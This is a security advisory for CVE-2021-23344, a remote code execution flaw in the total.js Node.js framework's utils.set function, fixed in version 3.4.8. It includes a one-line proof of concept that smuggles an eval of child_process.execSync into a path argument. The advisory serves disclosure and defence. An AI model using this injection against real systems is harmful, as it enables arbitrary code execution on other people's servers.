Advisory

GHSA-3wj8-vp9h-rm6m

Also known as: CVE-2021-23344, SNYK-JS-TOTALJS-1077069

Summary

total.js Remote Code Execution Vulnerability

Details

total.js is a framework for Node.js platfrom written in pure JavaScript similar to PHP's Laravel or Python's Django or ASP.NET MVC. It can be used as web, desktop, service or IoT application.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) via set.

PoC

// To be run in a nodejs console: 
require('total.js/utils').set({}, 'a;eval(`require("child_process")\\x2eexecSync("touch pwned")`);//')

Severity

Critical Basis: The source's own band: CRITICAL

Dates

Published
2021-03-19 21:32 UTC
Modified
2026-07-08 06:49 UTC

Affected packages and fixes

total.js

npm · All systems

Affected

  • introduced 0, fixed 3.4.8 (semver)

Fixed versions

3.4.8

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences